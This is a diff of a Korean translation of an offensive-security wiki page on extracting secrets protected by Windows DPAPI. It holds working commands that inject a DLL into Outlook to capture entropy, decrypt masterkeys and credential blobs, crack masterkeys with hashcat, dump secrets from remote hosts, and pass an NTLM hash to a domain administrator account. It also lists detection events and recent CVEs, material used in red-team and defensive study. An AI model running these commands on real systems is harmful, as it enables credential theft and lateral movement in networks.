- 비밀은 레지스트리에 저장되므로, 관리자가 **DACL 권한을 수정하여 접근할 수 있습니다**. 레지스트리 경로는: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`입니다.
### DPAPI에 의해 보호된 데이터
@ -64,7 +64,7 @@ DPAPI에 의해 보호되는 개인 데이터는 다음과 같습니다:
- Outlook 및 Windows Mail과 같은 애플리케이션의 이메일 및 내부 FTP 계정 비밀번호
- 공유 폴더, 리소스, 무선 네트워크 및 Windows Vault의 비밀번호, 암호화 키 포함
- 원격 데스크톱 연결, .NET Passport 및 다양한 암호화 및 인증 목적을 위한 개인 키의 비밀번호
- Credential Manager에 의해 관리되는 네트워크 비밀번호 및 Skype, MSN 메신저 등과 같은 애플리케이션에서 사용하는 개인 데이터
- Credential Manager에 의해 관리되는 네트워크 비밀번호 및 CryptProtectData를 사용하는 애플리케이션의 개인 데이터, 예: Skype, MSN 메신저 등
- 레지스터 내의 암호화된 블롭
- ...
@ -150,7 +150,7 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
[**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (같은 저장소에서) DPAPI를 사용하여 쿠키와 같은 민감한 데이터를 복호화하는 데 사용할 수 있습니다.
다음의 [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (같은 레포에서) 를 사용하여 DPAPI를 통해 쿠키와 같은 민감한 데이터를 복호화할 수 있습니다.
### 액세스 키 및 데이터
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
**SharpDPAPI** 도구는 마스터 키 복호화를 위한 이러한 인수도 지원합니다 (도메인 백업 키를 얻기 위해 `/rpc`를 사용하거나, 평문 비밀번호를 사용하기 위해 `/password`를 사용하거나, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`를 사용하는 것이 가능하다는 점에 유의하세요...):
**SharpDPAPI** 도구는 마스터 키 복호화를 위한 이러한 인수도 지원합니다 (도메인의 백업 키를 얻기 위해 `/rpc`를 사용하거나, 평문 비밀번호를 사용하기 위해 `/password`를 사용하거나, DPAPI 도메인 개인 키 파일을 지정하기 위해 `/pvk`를 사용할 수 있는 방법에 유의하세요...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -235,7 +235,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
일부 애플리케이션은 `CryptProtectData`에 추가 **엔트로피** 값을 전달합니다. 이 값이 없으면 올바른 마스터 키를 알고 있더라도 블롭을 복호화할 수 없습니다. 따라서 이러한 방식으로 보호된 자격 증명을 타겟으로 할 때 엔트로피를 얻는 것이 필수적입니다 (예: Microsoft Outlook, 일부 VPN 클라이언트).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022)는 대상 프로세스 내에서 DPAPI 함수를 후킹하고 제공된 모든 선택적 엔트로피를 투명하게 기록하는 사용자 모드 DLL입니다. `outlook.exe` 또는 `vpnclient.exe`와 같은 프로세스에 대해 **DLL-injection** 모드로 EntropyCapture를 실행하면 각 엔트로피 버퍼를 호출 프로세스 및 블롭에 매핑하는 파일이 출력됩니다. 캡처된 엔트로피는 나중에 **SharpDPAPI** (`/entropy:`) 또는 **Mimikatz** (`/entropy:<file>`)에 제공되어 데이터를 복호화하는 데 사용될 수 있습니다. citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022)는 대상 프로세스 내에서 DPAPI 함수를 후킹하고 제공된 모든 선택적 엔트로피를 투명하게 기록하는 사용자 모드 DLL입니다. `outlook.exe` 또는 `vpnclient.exe`와 같은 프로세스에 대해 **DLL-injection** 모드로 EntropyCapture를 실행하면 각 엔트로피 버퍼를 호출 프로세스 및 블롭에 매핑하는 파일이 출력됩니다. 캡처된 엔트로피는 나중에 **SharpDPAPI** (`/entropy:`) 또는 **Mimikatz** (`/entropy:<file>`)에 제공되어 데이터를 복호화하는 데 사용될 수 있습니다.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
### 마스터키 오프라인 크래킹 (Hashcat & DPAPISnoop)
Microsoft는 Windows 10 v1607 (2016)부터 **context 3** 마스터키 형식을 도입했습니다. `hashcat` v6.2.6 (2023년 12월)은 해시 모드 **22100** (DPAPI masterkey v1 context), **22101** (context 1) 및 **22102** (context 3)을 추가하여 마스터키 파일에서 사용자 비밀번호를 직접 GPU 가속으로 크랙할 수 있게 했습니다. 따라서 공격자는 대상 시스템과 상호작용하지 않고도 단어 목록 또는 무차별 대입 공격을 수행할 수 있습니다. citeturn8search1
Microsoft는 Windows 10 v1607 (2016)부터 **context 3** 마스터키 형식을 도입했습니다. `hashcat` v6.2.6 (2023년 12월)은 해시 모드 **22100** (DPAPI 마스터키 v1 context), **22101** (context 1) 및 **22102** (context 3)을 추가하여 GPU 가속 크래킹을 통해 마스터키 파일에서 사용자 비밀번호를 직접 추출할 수 있게 했습니다. 따라서 공격자는 대상 시스템과 상호작용하지 않고도 단어 목록 또는 무차별 대입 공격을 수행할 수 있습니다.
`DPAPISnoop` (2024)는 이 과정을 자동화합니다:
```bash
@ -257,12 +257,12 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4
### 다른 머신 데이터 접근
**SharpDPAPI와 SharpChrome**에서는 **`/server:HOST`** 옵션을 지정하여 원격 머신의 데이터에 접근할 수 있습니다. 물론 해당 머신에 접근할 수 있어야 하며, 다음 예제에서는 **도메인 백업 암호화 키가 알려져 있다고 가정합니다**:
**SharpDPAPI와 SharpChrome**에서는 원격 머신의 데이터에 접근하기 위해 **`/server:HOST`** 옵션을 지정할 수 있습니다. 물론 해당 머신에 접근할 수 있어야 하며, 다음 예제에서는 **도메인 백업 암호화 키가 알려져 있다고 가정합니다**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
```
## Other tools
## 기타 도구
### HEKATOMB
@ -270,13 +270,13 @@ SharpChrome cookies /server:HOST /pvk:BASE64
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
LDAP에서 추출한 컴퓨터 목록으로 모든 서브 네트워크를 찾을 수 있습니다. 비록 당신이 그것들을 몰랐더라도!
LDAP에서 추출한 컴퓨터 목록으로 모든 서브 네트워크를 찾을 수 있습니다. 알지 못하더라도 가능합니다!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI)는 DPAPI로 보호된 비밀을 자동으로 덤프할 수 있습니다. 2.x 릴리스는 다음을 도입했습니다:
* 수백 개의 호스트에서 블롭을 병렬로 수집
* 수백 개 호스트에서 블롭을 병렬로 수집
* **context 3** 마스터키 파싱 및 자동 Hashcat 크래킹 통합
* Chrome "App-Bound" 암호화된 쿠키 지원 (다음 섹션 참조)
* 새 **`--snapshot`** 모드로 엔드포인트를 반복적으로 폴링하고 새로 생성된 블롭을 비교
@ -286,30 +286,30 @@ LDAP에서 추출한 컴퓨터 목록으로 모든 서브 네트워크를 찾을
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop)는 Hashcat/JtR 형식으로 출력할 수 있는 마스터키/자격 증명/금고 파일을 위한 C# 파서로, 선택적으로 자동으로 크래킹을 호출할 수 있습니다. Windows 11 24H1까지의 머신 및 사용자 마스터키 형식을 완전히 지원합니다.
## Common detections
## 일반적인 탐지
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` 및 기타 DPAPI 관련 디렉토리의 파일 접근.
- 특히 **C$** 또는 **ADMIN$**와 같은 네트워크 공유에서.
- LSASS 메모리에 접근하거나 마스터키를 덤프하기 위해 **Mimikatz**, **SharpDPAPI** 또는 유사한 도구 사용.
- 이벤트 **4662**: *객체에 대한 작업이 수행되었습니다* – **`BCKUPKEY`** 객체에 대한 접근과 상관관계가 있을 수 있습니다.
- 프로세스가 *SeTrustedCredManAccessPrivilege* (Credential Manager)를 요청할 때 이벤트 **4673/4674** 발생.
- 프로세스가 *SeTrustedCredManAccessPrivilege* (자격 증명 관리자)를 요청할 때 이벤트 **4673/4674**
---
### 2023-2025 vulnerabilities & ecosystem changes
### 2023-2025 취약점 및 생태계 변화
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (2023년 11월). 네트워크 접근 권한이 있는 공격자가 도메인 구성원을 속여 악성 DPAPI 백업 키를 검색하게 할 수 있으며, 이를 통해 사용자 마스터키를 복호화할 수 있습니다. 2023년 11월 누적 업데이트에서 패치됨 – 관리자는 DC와 워크스테이션이 완전히 패치되었는지 확인해야 합니다.
* **Chrome 127 “App-Bound” cookie encryption** (2024년 7월)은 레거시 DPAPI 전용 보호를 사용자의 **Credential Manager**에 저장된 추가 키로 대체했습니다. 쿠키의 오프라인 복호화는 이제 DPAPI 마스터키와 **GCM-랩핑된 앱 바운드 키** 모두를 요구합니다. SharpChrome v2.3 및 DonPAPI 2.x는 사용자 컨텍스트로 실행할 때 추가 키를 복구할 수 있습니다.
* **CVE-2023-36004 – Windows DPAPI 보안 채널 스푸핑** (2023년 11월). 네트워크 접근 권한이 있는 공격자가 도메인 구성원을 속여 악성 DPAPI 백업 키를 검색하게 할 수 있으며, 이를 통해 사용자 마스터키를 복호화할 수 있습니다. 2023년 11월 누적 업데이트에서 패치됨 – 관리자는 DC와 워크스테이션이 완전히 패치되었는지 확인해야 합니다.
* **Chrome 127 “App-Bound” 쿠키 암호화** (2024년 7월)는 기존 DPAPI 전용 보호를 사용자의 **Credential Manager**에 저장된 추가 키로 대체했습니다. 쿠키의 오프라인 복호화는 이제 DPAPI 마스터키와 **GCM으로 래핑된 앱 바운드 키** 모두를 요구합니다. SharpChrome v2.3 및 DonPAPI 2.x는 사용자 컨텍스트로 실행할 때 추가 키를 복구할 수 있습니다.
## References
## 참조
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}